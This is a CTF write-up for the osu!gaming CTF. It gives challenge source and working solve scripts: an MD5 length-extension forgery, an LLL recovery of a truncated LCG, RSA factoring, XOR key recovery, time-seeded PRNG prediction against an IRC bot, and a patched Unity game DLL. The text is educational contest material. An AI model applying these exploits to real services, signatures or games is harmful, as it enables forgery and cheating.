Last weekend(2024-03-01T17:00:00+00:00
~ 2024-03-03T17:00:00+00:00
), I participated in this game. B/c I AKed the crypto part of it(and as a half-AFKed osu! player), I decided to write something about it.
Crypto
base727
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import binascii
flag = open('flag.txt').read()
def encode_base_727(string):
base = 727
encoded_value = 0
for char in string:
encoded_value = encoded_value * 256 + ord(char)
encoded_string = ""
while encoded_value > 0:
encoded_string = chr(encoded_value % base) + encoded_string
encoded_value //= base
return encoded_string
encoded_string = encode_base_727(flag)
print(binascii.hexlify(encoded_string.encode()))
solution
Same as the challenge, the solve script is also written by GPT.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
with open("out.txt", "r") as f:
encoded_string = bytes.fromhex(f.read()).decode()
def decode_base_727(encoded_string):
base = 727
decoded_value = 0
for char in encoded_string:
decoded_value = decoded_value * base + ord(char)
decoded_string = ""
while decoded_value > 0:
decoded_string = chr(decoded_value % 256) + decoded_string
decoded_value //= 256
return decoded_string
flag = decode_base_727(encoded_string)
print(flag)
# osu{wysiwysiwysiywsywiwywsi}
ROSSAU
challenge
My friend really likes sending me hidden messages, something about a public key with n = 5912718291679762008847883587848216166109
and e = 876603837240112836821145245971528442417
. What is the name of player with the user ID of the private key exponent? (Wrap with osu{}
)
solution
Search n
in factordb.com
, and the rest is textbook RSA.
korean-offline-mafia
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from topsecret import n, secret_ids, flag
import math, random
assert all([math.gcd(num, n) == 1 for num in secret_ids])
assert len(secret_ids) == 32
vs = [pow(num, 2, n) for num in secret_ids]
print('n =', n)
print('vs =', vs)
correct = 0
for _ in range(1000):
x = int(input('Pick a random r, give me x = r^2 (mod n): '))
assert x > 0
mask = '{:032b}'.format(random.getrandbits(32))
print("Here's a random mask: ", mask)
y = int(input('Now give me r*product of IDs with mask applied: '))
assert y > 0
# i.e: if bit i is 1, include id i in the product--otherwise, don't
val = x
for i in range(32):
if mask[i] == '1':
val = (val * vs[i]) % n
if pow(y, 2, n) == val:
correct += 1
print('Phase', correct, 'of verification complete.')
else:
correct = 0
print('Verification failed. Try again.')
if correct >= 10:
print('Verification succeeded. Welcome.')
print(flag)
break
solution
Notice that assert x > 0
is not done in Zmod(n)
, letting x = y = n
can bypass the check.
1
2
3
4
5
6
7
8
9
10
11
12
13
from topsecret import n
from pwn import *
p = remote('chal.osugaming.lol',7275)
p.recvline()
chal = p.recvline().decode().split()[-1]
PoW = process(['/home/kali/.cache/redpwnpow/redpwnpow-v0.1.2-linux-amd64',chal]) # path to PoW program
ans = PoW.recv()
PoW.close()
p.send(ans)
for _ in range(20):
p.sendline(str(n).encode())
p.interactive()
# osu{congrats_now_can_you_help_me_rank_up_pls}
no-dorchadas
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from hashlib import md5
from secret import flag, secret_slider
from base64 import b64encode, b64decode
assert len(secret_slider) == 244
dorchadas_slider = b"0,328,33297,6,0,B|48:323|61:274|61:274|45:207|45:207|63:169|103:169|103:169|249:199|249:199|215:214|205:254,1,450.000017166138,6|6,1:1|2:1,0:0:0:0:"
def sign(beatmap):
hsh = md5(secret_slider + beatmap)
return hsh.hexdigest()
def verify(beatmap, signature):
return md5(secret_slider + beatmap).hexdigest() == signature
def has_dorchadas(beatmap):
return dorchadas_slider in beatmap
MENU = """
--------------------------
| [1] Sign a beatmap |
| [2] Verify a beatmap |
--------------------------"""
def main():
print("Welcome to the osu! Beatmap Signer")
while True:
print(MENU)
try:
option = input("Enter your option: ")
if option == "1":
beatmap = b64decode(input("Enter your beatmap in base64: "))
if has_dorchadas(beatmap):
print("I won't sign anything with a dorchadas slider in it >:(")
else:
signature = sign(beatmap)
print("Okay, I've signed that for you: " + signature)
elif option == "2":
beatmap = b64decode(input("Enter your beatmap in base64: "))
signature = input("Enter your signature for that beatmap: ")
if verify(beatmap, signature) and has_dorchadas(beatmap):
print("How did you add that dorchadas slider?? Anyway, here's a flag: " + flag)
elif verify(beatmap, signature):
print("Signature is valid!")
else:
print("Signature is invalid :(")
except:
print("An error occurred!")
exit(-1)
main()
solution
The payload is generated by HashPump
. The original git repo is deleted, but you can still find many forks(or similar tools) online.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from base64 import *
p = remote("chal.osugaming.lol", 9727)
p.recvline()
chal = p.recvline().decode().split()[-1]
PoW = process(["/home/kali/.cache/redpwnpow/redpwnpow-v0.1.2-linux-amd64", chal])
ans = PoW.recv()
PoW.close()
p.send(ans)
p.sendlineafter(b"Enter your option: ", b"1")
p.sendlineafter(b"Enter your beatmap in base64: ", b64encode(b"a"))
p.recvuntil(b"Okay, I've signed that for you: ")
sign = p.recvline().decode().strip()
print(sign)
digest, message = (
b"0b2845360389b6b156fabb9dde737c5f",
b"a\x80\x00\x00\xa8\x07\x00\x00\x00\x00\x00\x000,328,33297,6,0,B|48:323|61:274|61:274|45:207|45:207|63:169|103:169|103:169|249:199|249:199|215:214|205:254,1,450.000017166138,6|6,1:1|2:1,0:0:0:0:",
)
p.sendlineafter(b"Enter your option: ", b"2")
p.sendlineafter(b"Enter your beatmap in base64: ", b64encode(message))
p.sendlineafter(b"Enter your signature for that beatmap: ", digest)
p.interactive()
# osu{s3cr3t_sl1d3r_i5_th3_burp_5l1d3r_fr0m_Feiri's_Fake_Life}
lucky-roll-gaming
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import getPrime # https://pypi.org/project/pycryptodome/
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import randrange
from math import floor
def lcg(s, a, b, p):
return (a * s + b) % p
p = getPrime(floor(72.7))
a = randrange(0, p)
b = randrange(0, p)
seed = randrange(0, p)
print(f"{p = }")
print(f"{a = }")
print(f"{b = }")
print(f"{seed=}")
def get_roll():
global seed
seed = lcg(seed, a, b, p)
return seed % 100
out = []
for _ in range(floor(72.7)):
out.append(get_roll())
print(f"{out = }")
flag = open("flag.txt", "rb").read()
key = bytes([get_roll() for _ in range(16)])
iv = bytes([get_roll() for _ in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv)
print(cipher.encrypt(pad(flag, 16)).hex())
solution
Truncated lcg with low bits known, which can be reduced to a hidden number problem, and finally solved by LLL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#! /usr/bin/sage
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
p = 4420073644184861649599
a = 1144993629389611207194
b = 3504184699413397958941
out = [39, 47, 95, 1, 77, 89, 77, 70, 99, 23, 44, 38, 87, 34, 99, 42, 10, 67, 24, 3, 2, 80, 26, 87, 91, 86, 1, 71, 59, 97, 69, 31, 17, 91, 73, 78, 43, 18, 15, 46, 22, 68, 98, 60, 98, 17, 53, 13, 6, 13, 19, 50, 73, 44, 7, 44, 3, 5, 80, 26, 10, 55, 27, 47, 72, 80, 53, 2, 40, 64, 55, 6]
cipher = bytes.fromhex('34daaa9f7773d7ea4d5f96ef3dab1bbf5584ecec9f0542bbee0c92130721d925f40b175e50587196874e14332460257b')
l = out
def lcg(s, a, b, p):
return (a * s + b) % p
def get_roll():
global seed
seed = lcg(seed, a, b, p)
return seed % 100
n = len(out)
A = [[0 for _ in range(n+1)] for _ in range(n+1)]
inv100 = pow(100,-1,p)
for i in range(n-1):
A[i][i] = p
A[n-1][i] = a**(i+1)%p
A[n][i] = (a*l[0]+b-l[1])*inv100%p if i==0 else (a*A[n][i-1] + (a*l[i]+b-l[i+1])*inv100)%p
A[n-1][n-1] = 1
A[n][n] = p//100
A = Matrix(A)
B = A.LLL()
h0 = B[0][-2]
s0 = h0*100+l[0]
seed = s0
assert([l[0]]+[get_roll() for _ in range(71)] == l)
key = bytes([get_roll() for _ in range(16)])
iv = bytes([get_roll() for _ in range(16)])
aes = AES.new(key, AES.MODE_CBC, iv)
print(unpad(aes.decrypt(cipher),16).decode())
# osu{w0uld_y0u_l1k3_f1r5t_0r_53c0nd_p1ck}
secret-map
challenge
Load the beatmap into osu!
and find this secret script on the song folder:
1
2
3
4
5
6
7
8
9
10
11
import os
xor_key = os.urandom(16)
with open("flag.osu", 'rb') as f:
plaintext = f.read()
encrypted_data = bytes([plaintext[i] ^ xor_key[i % len(xor_key)] for i in range(len(plaintext))])
with open("flag.osu.enc", 'wb') as f:
f.write(encrypted_data)
solution
Classic known file header and cycled key exploitation.
1
2
3
4
5
6
7
8
9
from pwn import xor
with open('flag.osu.enc','rb') as f:
c = f.read()
k = xor(b'osu file format ',c[:16])
m = xor(c, k)
with open('flag.osu','wb') as f:
f.write(m)
# osu{xor_xor_xor_by_frums}
wysi-prime
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import isPrime, bytes_to_long
import random
import os
def getWYSIprime():
while True:
digits = [random.choice("727") for _ in range(272)]
prime = int("".join(digits))
if isPrime(prime):
return(prime)
# RSA encryption using the WYSI primes
p = getWYSIprime()
q = getWYSIprime()
n = p * q
e = 65537
flag = bytes_to_long(os.getenv("FLAG", b"osu{fake_flag_for_testing}"))
ciphertext = pow(flag, e, n)
print(f"{n = }")
print(f"{e = }")
print(f"{ciphertext = }")
solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
n = 2160489795493918825870689458820648828073650907916827108594219132976202835249425984494778310568338106260399032800745421512005980632641226298431130513637640125399673697368934008374907832728004469350033174207285393191694692228748281256956917290437627249889472471749973975591415828107248775449619403563269856991145789325659736854030396401772371148983463743700921913930643887223704115714270634525795771407138067936125866995910432010323584269926871467482064993332990516534083898654487467161183876470821163254662352951613205371404232685831299594035879
e = 65537
c = 2087465275374927411696643073934443161977332564784688452208874207586196343901447373283939960111955963073429256266959192725814591103495590654238320816453299972810032321690243148092328690893438620034168359613530005646388116690482999620292746246472545500537029353066218068261278475470490922381998208396008297649151265515949490058859271855915806534872788601506545082508028917211992107642670108678400276555889198472686479168292281830557272701569298806067439923555717602352224216701010790924698838402522493324695403237985441044135894549709670322380450
from Crypto.Util.number import isPrime, long_to_bytes
p = ['2' for i in range(272)]
q = ['2' for i in range(272)]
p[0] = '7'
p = int(''.join(p))
q = int(''.join(q))
for i in range(270,-1,-1):
d = 5*10**i
if (p+d)*(q+d) <= n:
p += d
q += d
elif p*(q+d) <= n:
q += d
elif (p+d)*q <= n:
p += d
assert isPrime(p) and isPrime(q)
assert p*q == n
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
m = pow(c,d,n)
print(long_to_bytes(m).decode())
# osu{h4v3_y0u_3v3r_n0t1c3d_th4t_727_1s_pr1m3?}
Well, in fact I didn’t understand why 727 is prime can be used to solve the challenge.
roll
challenge
To help you in your next tourney, you can practice rolling against me! But you’ll have to do better than just winning the roll to impress me…
(DM me !help on osu! to get started!)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
use futures::prelude::*;
use irc::client::prelude::*;
use log::{error, info, LevelFilter};
use rand::rngs::SmallRng;
use rand::{Rng, SeedableRng};
use simple_logger::SimpleLogger;
use std::fs;
use std::time::{SystemTime, UNIX_EPOCH};
use std::collections::HashMap;
fn get_roll() -> i32 {
let seed = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_secs();
let mut rng = SmallRng::seed_from_u64(seed);
rng.gen_range(1..101)
}
struct UserState {
roll_to_beat: i32,
wins: i32,
}
struct Bot {
flag: String,
state: HashMap<String, UserState>,
client: Client,
}
impl Bot {
async fn run(&mut self) -> irc::error::Result<()> {
self.client.identify()?;
let mut stream = self.client.stream()?;
while let Some(message) = stream.next().await.transpose()? {
match &message.command {
Command::QUIT(_) => continue,
Command::PRIVMSG(_, msg) => {
info!("{:?} {:?}", message.prefix, message.command);
let Some(target) = message.response_target() else {
info!("Failed to find target for message: {:#?}", message);
continue;
};
if msg.starts_with("!roll") {
self.handle_roll(target)?;
} else if msg.starts_with("!start") {
self.handle_start(target)?;
} else if msg.starts_with("!help") {
self.client.send_privmsg(
target,
"Use !start to start a game, and !roll to roll!",
)?;
}
}
_ => info!("{:?} {:?}", message.prefix, message.command),
}
}
Ok(())
}
fn roll_self_for(state: &mut UserState) -> i32 {
let mut roll = get_roll();
if roll == 100 {
roll = 1; // :)
}
state.roll_to_beat = roll;
roll
}
fn handle_start(&mut self, target: &str) -> irc::error::Result<()> {
if self.state.contains_key(target) {
self.client
.send_privmsg(target, "You're already in a game!")?;
} else {
let mut state = UserState {
roll_to_beat: 0,
wins: 0,
};
let roll = Bot::roll_self_for(&mut state);
self.state.insert(target.to_string(), state);
self.client.send_privmsg(
target,
format!("I rolled a {}. Good luck! Use !roll to roll.", roll),
)?;
}
Ok(())
}
fn handle_roll(&mut self, target: &str) -> irc::error::Result<()> {
let roll = get_roll();
info!("{} rolled a {}", target, roll);
self.client
.send_privmsg(target, format!("{} rolls {} points", target, roll))?;
let Some(mut state) = self.state.get_mut(target) else {
self.client.send_privmsg(
target,
"Looks like you're not in a game yet. Use !start to start one!",
)?;
return Ok(());
};
if roll == state.roll_to_beat + 1 {
self.client
.send_privmsg(target, "How did you do that??? So lucky...")?;
state.wins += 1;
if state.wins >= 5 {
self.client.send_privmsg(
target,
format!("Impossible!!! I give up, here's the flag: {}", self.flag),
)?;
}
let next_roll = Bot::roll_self_for(&mut state);
self.client.send_privmsg(
target,
format!(
"Bet you can't do it again... I rolled a {}. Good luck! Use !roll to roll.",
next_roll
),
)?;
} else if roll > state.roll_to_beat {
self.client
.send_privmsg(target, "You beat me! But it happens...")?;
self.state.remove(target);
} else {
self.client.send_privmsg(target, "You lost!")?;
self.state.remove(target);
}
Ok(())
}
}
#[tokio::main]
async fn main() -> irc::error::Result<()> {
SimpleLogger::new()
.with_level(LevelFilter::Info)
.init()
.unwrap();
let flag = fs::read_to_string("flag.txt").expect("Unable to read flag file");
let mut bot = Bot {
flag,
state: HashMap::new(),
client: Client::new("config.toml").await?,
};
match bot.run().await {
Ok(_) => info!("Bot exited successfully"),
Err(e) => error!("Bot exited with error: {}", e),
}
Ok(())
}
solution
The vulnerbility itself is very simple: Time-based Pseudo Random Number Generator(PRNG) synchronization. In other words, using the same time as the server to feed your PRNG and you will get the same roll. The expected solution should be: write a Rust Bot using an IRC client library(just like the challenge) to automatically send the !roll
when appropriate. I indeed implement this part, and successfully test it locally:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
use futures::StreamExt;
use irc::client::prelude::*;
use log::{error, info, LevelFilter};
use rand::rngs::SmallRng;
use rand::{Rng, SeedableRng};
use simple_logger::SimpleLogger;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::time::{sleep, Duration};
fn get_roll(offset: Option<u64>) -> i32 {
let seed = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_secs();
let mut rng = SmallRng::seed_from_u64(seed + offset.unwrap_or(0));
rng.gen_range(1..101)
}
struct Bot {
client: Client,
guess_start: Vec<i32>,
offset: u64
}
impl Bot {
async fn run(&mut self) -> irc::error::Result<()> {
self.client.identify()?;
let mut stream = self.client.stream()?;
self.client.send( "/query Quin tecX")?;
self.client.send_privmsg("QuintecX","!start")?;
while let Some(message) = stream.next().await.transpose()? {
match &message.command {
Command::QUIT(_) => continue,
Command::PRIVMSG(_, msg) => {
info!("{:?} {:?}", message.prefix, message.command);
let Some(target) = message.response_target() else {
info!("Failed to find target for message: {:#?}", message);
continue;
};
if msg.starts_with("I rolled a ") {
self.handle_start(
target,
msg.trim_start_matches("I rolled a ")
.trim_end_matches(". Good luck! Use !roll to roll."),
true
).await?;
} else if msg.starts_with("Bet you can't do it again... I rolled a ") {
self.handle_start(
target,
msg.trim_start_matches("Bet you can't do it again... I rolled a ")
.trim_end_matches(". Good luck! Use !roll to roll."),
false
).await?;
} else if msg.starts_with("You're already in a game!") {
self.client.send_privmsg(target, "!roll")?;
self.client.send_privmsg(target,"!start")?;
} else if msg.starts_with("Impossible!!! I give up, here's the flag: ") {
info!("{}", msg);
return Ok(());
}
}
_ => info!("{:?} {:?}", message.prefix, message.command),
}
}
Ok(())
}
async fn handle_start(&mut self, target: &str, msg: &str, is_first: bool) -> irc::error::Result<()> {
let roll_to_beat: i32 = msg.parse::<i32>().unwrap();
if is_first {
self.guess_start = (0..10).map(|i| get_roll(Some(i))).collect();
self.offset = self.guess_start.iter().position(|&x| x == roll_to_beat).unwrap_or(0) as u64;
}
let roll_target: i32 = roll_to_beat + 1;
let mut roll_predict: i32 = get_roll(Some(self.offset));
let mut cnt = 0;
while roll_predict != roll_target {
cnt += 1;
roll_predict = get_roll(Some(cnt));
}
for i in 0..cnt {
sleep(Duration::from_millis(1000)).await;
let res = get_roll(Some(self.offset));
info!("After sleep {}/{}, if I roll now, I will get {}", i+1, cnt, res);
if res == roll_target {
break;
}
}
self.client.send_privmsg(target, "!roll")?;
Ok(())
}
}
#[tokio::main]
async fn main() -> irc::error::Result<()> {
SimpleLogger::new()
.with_level(LevelFilter::Info)
.init()
.unwrap();
let mut bot = Bot {
client: Client::new("config.toml").await?,
guess_start: Vec::new(),
offset: 0
};
match bot.run().await {
Ok(_) => info!("Bot exited successfully"),
Err(e) => error!("Bot exited with error: {}", e),
}
Ok(())
}
The frustrating part is that the Bot cannot response to the server’s PING when stucked in handle_start()
. As a result, it will be kicked offline if the needed time interval is too long. This can be avoided by changing pong_timeout
in config file of local IRC server, but I can do nothing to the IRC server of osu!, known as Bancho.
In the end, I solved this challenge by using Rust only on the PRNG part, and submit the !roll
in a browser session. Maybe wasm+JS can automate this process? Don’t know, but I did it manually…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
use rand::rngs::SmallRng;
use rand::{Rng, SeedableRng};
use std::io::Write;
use std::thread::sleep;
use std::time::{Duration, SystemTime, UNIX_EPOCH};
use std::env::args;
fn get_roll(offset: u64) -> u64 {
let seed = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_secs();
let mut rng = SmallRng::seed_from_u64(seed + offset);
rng.gen_range(1..101)
}
fn main() {
let args: Vec<String> = args().collect();
let begin: u64 = args[1].parse::<u64>().unwrap();
println!("begin = {}",begin);
let mut timing: Vec<Vec<u64>> = vec![vec![]; 5];
for i in 0..1200 {
for j in 0..5 {
if get_roll(i) == (begin + j) % 100 + 1 {
timing[j as usize].push(i);
}
}
}
println!("{:?}",timing);
let mut cnt = 0;
loop {
print!("\r cnt = {}, roll = {} ",cnt, get_roll(0));
let _ = std::io::stdout().flush();
sleep(Duration::from_secs(1));
cnt += 1;
}
}
Reverse
SAT-before-osu
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
b + c + w = 314
t + d + u = 290
p + w + e = 251
v + l + j = 274
a + t + b = 344
b + j + m = 255
h + o + u = 253
q + l + o = 316
a + g + j = 252
q + x + q = 315
t + n + m = 302
d + b + g = 328
e + o + m = 246
v + v + u = 271
f + o + q = 318
s + o + j = 212
j + j + n = 197
s + u + l = 213
q + w + j = 228
i + d + r = 350
e + k + u = 177
w + n + a = 288
r + e + u = 212
q + l + f = 321
solution
The fastest way is to throw they into Mathematica
, but any solver(z3
, sympy
) should also work.
wysi-baby
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script type="module">
var combos = [];
function wysi() {
if (combos.length === 8) {
var cs = combos.join("");
var csr = cs + cs.split("").reverse().join("");
var res = CryptoJS.AES.decrypt("5LJJj+x+/cGxhxBTdj/Q2RxkhgbH7v8b/IgX9Kjptpo=", CryptoJS.enc.Hex.parse(csr + csr), { mode: CryptoJS.mode.ECB }).toString(CryptoJS.enc.Utf8);
// if prefix is "osu{" then its correct
if (res.startsWith("osu{")) {
document.getElementById("music").innerHTML = '<audio src="./wysi.mp3" autoplay></audio>';
console.log(res);
} else {
// reset
console.log("nope.");
combos = [];
}
}
}
$(document).ready(function() {
$("#frame").on("click", "button", function() {
var buttonValue = $(this).data("value");
combos.push(buttonValue);
wysi();
});
});
</script>
solution
From the source code, we can know that cs
has the form of \d{8}
. The key space is hence $10^8$, making bruteforce possible.
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
from base64 import b64decode
cipher = b64decode(b'5LJJj+x+/cGxhxBTdj/Q2RxkhgbH7v8b/IgX9Kjptpo=')
for combos in range(10**9):
cs = str(combos).rjust(8,'0')
csr = cs + cs[::-1]
res = AES.new(bytes.fromhex(csr + csr),AES.MODE_ECB).decrypt(cipher)
if res.startswith(b'osu{'):
print(combos)
break
# osu{baby_js_osu_web_uwu}
ecs!catch
challenge
During his sophomore year of high school, enscribe made a really bad osu!catch clone for his final project in his Exploring Computer Science class. It was his first time on Unity, but it has some charm to it!
Receive an SS (with maximum score) on “Bakamitai”, the hardest map, to receive the flag. Shouldn’t be too difficult, right?
Note: An SS is not enough! The remote has additional checks for specific scoring (the maximum score if SS’ed “legitimately”).
Note: This executable is built for x86 Windows.
solution
After a few search about Unity game reversing, it turns out that ecs!catch_Data\Managed\Assembly-CSharp.dll
contains most of the user code. So we decompile it with dnSpy
.
The challenge description said we need to Receive an SS (with maximum score) on "Bakamitai"
. Reading the Official Wiki about scoring, we know that we just need to avoid every misses. Searching methods about Miss
and their cross references led us to:
1
2
3
4
5
6
7
8
9
// Token: 0x060003EE RID: 1006 RVA: 0x00015EC4 File Offset: 0x000140C4
public void NoteMissed()
{
this.missedTotal += 1f;
this.possibleNotes++;
this.currentCombo = 1;
this.comboText.text = this.currentCombo.ToString() + "x";
this.TakeDamage(1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public class NoteObject : MonoBehaviour
{
// Token: 0x060003FA RID: 1018 RVA: 0x000166C0 File Offset: 0x000148C0
private void OnTriggerEnter2D(Collider2D other)
{
if (other.tag == "Activator")
{
if (base.gameObject != null)
{
this.hitSound.Play();
this.hasPlayed = true;
}
Object.Destroy(base.gameObject);
if (base.gameObject.tag == "Fruit" || base.gameObject.tag == "Hyperfruit")
{
GameManager.instance.NoteHitFruit();
return;
}
if (base.gameObject.tag == "Start")
{
GameManager.instance.NoteHitStart();
return;
}
if (base.gameObject.tag == "Clapfruit")
{
GameManager.instance.ClapFruitHit();
return;
}
if (base.gameObject.tag == "Drop")
{
GameManager.instance.NoteHitDrop();
return;
}
if (base.gameObject.tag == "Droplet")
{
GameManager.instance.NoteHitDroplet();
return;
}
if (base.gameObject.tag == "Finish")
{
GameManager.instance.showResultsScreen();
}
}
}
// Token: 0x060003FB RID: 1019 RVA: 0x000167F0 File Offset: 0x000149F0
private void OnTriggerExit2D(Collider2D other)
{
if (base.gameObject.activeSelf && other.tag == "Missed" && base.gameObject.tag != "Droplet")
{
this.missHitSound.Play();
GameManager.instance.NoteMissed();
}
}
// Token: 0x04000231 RID: 561
public AudioSource hitSound;
// Token: 0x04000232 RID: 562
public AudioSource missHitSound;
// Token: 0x04000233 RID: 563
public bool hasPlayed;
}
The simplest way: Patch this class to treat Miss
as Hit
and miss all the notes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
using System;
using UnityEngine;
// Token: 0x0200003E RID: 62
public class NoteObject : MonoBehaviour
{
// Token: 0x060003FA RID: 1018
private void OnTriggerEnter2D(Collider2D other)
{
}
// Token: 0x060003FB RID: 1019
private void OnTriggerExit2D(Collider2D other)
{
if (other.tag == "Missed")
{
if (base.gameObject != null)
{
this.hitSound.Play();
this.hasPlayed = true;
}
Object.Destroy(base.gameObject);
if (base.gameObject.tag == "Fruit" || base.gameObject.tag == "Hyperfruit")
{
GameManager.instance.NoteHitFruit();
return;
}
if (base.gameObject.tag == "Start")
{
GameManager.instance.NoteHitStart();
return;
}
if (base.gameObject.tag == "Clapfruit")
{
GameManager.instance.ClapFruitHit();
return;
}
if (base.gameObject.tag == "Drop")
{
GameManager.instance.NoteHitDrop();
return;
}
if (base.gameObject.tag == "Droplet")
{
GameManager.instance.NoteHitDroplet();
return;
}
if (base.gameObject.tag == "Finish")
{
GameManager.instance.showResultsScreen();
}
}
}
// Token: 0x04000231 RID: 561
public AudioSource hitSound;
// Token: 0x04000232 RID: 562
public AudioSource missHitSound;
// Token: 0x04000233 RID: 563
public bool hasPlayed;
}
A thing to notice is that your final accuracy should be 100%
, not 200%
.
wysi-revenge
challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script type="module">
import Module from './checker.js';
var combos = [];
function wysi() {
if (combos.length === 12) {
var cs = combos.join("");
Module().then(function(mod) {
const ck = mod.cwrap('checker', 'boolean', ['string', 'number']);
if (ck(cs, cs.length)) {
document.getElementById("music").innerHTML = '<audio src="./wysi.mp3" autoplay></audio>';
console.log("osu{" + cs + "}");
} else {
console.log("nope.");
combos = [];
}
});
}
}
$(document).ready(function() {
$("#frame").on("click", "button", function() {
var buttonValue = $(this).data("value");
combos.push(buttonValue);
wysi();
});
});
</script>
solution
From the html source, we can know cs
has the form of [a-z]{12}
. The key space expanding to ${26}^{12}$ which makes bruteforce impossible.
We fetch the checker.wasm
and decompile it with some traditional approaches:
1
2
3
4
5
6
wget https://github.com/WebAssembly/wabt/releases/download/{version}/wabt-{version}-{platform}.tar.gz
tar zxvf wabt-{version}-{platform}.tar.gz
cd wabt-{version}
cp /PATH/TO/checker.wasm .
bin/wasm2c checker.wasm -o checker.c
cp wasm-rt-impl.c wasm-rt-impl.h wasm-rt.h
Then you can decompile it using IDA(Pro)
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
__int64 __fastcall w2c_checker_checker_0(unsigned int *a1, unsigned int a2, unsigned int a3)
{
unsigned int v5; // [rsp+18h] [rbp-118h]
unsigned int v6; // [rsp+1Ch] [rbp-114h]
unsigned int v7; // [rsp+1Ch] [rbp-114h]
unsigned int v8; // [rsp+20h] [rbp-110h]
unsigned int v9; // [rsp+20h] [rbp-110h]
unsigned int v10; // [rsp+24h] [rbp-10Ch]
unsigned int v11; // [rsp+24h] [rbp-10Ch]
unsigned int v12; // [rsp+58h] [rbp-D8h]
unsigned int v13; // [rsp+74h] [rbp-BCh]
unsigned int v14; // [rsp+78h] [rbp-B8h]
unsigned int v15; // [rsp+A0h] [rbp-90h]
char v16; // [rsp+C4h] [rbp-6Ch]
unsigned int v17; // [rsp+C8h] [rbp-68h]
int v18; // [rsp+D0h] [rbp-60h]
unsigned int v19; // [rsp+E4h] [rbp-4Ch]
unsigned int v20; // [rsp+F4h] [rbp-3Ch]
unsigned int v21; // [rsp+118h] [rbp-18h]
unsigned int v22; // [rsp+120h] [rbp-10h]
char v23; // [rsp+12Ch] [rbp-4h]
v22 = *a1 - 32;
*a1 = v22;
i32_store(a1 + 4, v22 + 28LL, a2);
i32_store(a1 + 4, v22 + 24LL, a3);
v21 = i32_load(a1 + 4, v22 + 24LL);
i32_store(a1 + 4, v22 + 20LL, v22);
v20 = v22 - ((4 * v21 + 15) & 0xFFFFFFF0);
*a1 = v20;
i32_store(a1 + 4, v22 + 16LL, v21);
i32_store(a1 + 4, v22 + 12LL, 0LL);
while ( 1 )
{
v19 = i32_load(a1 + 4, v22 + 12LL);
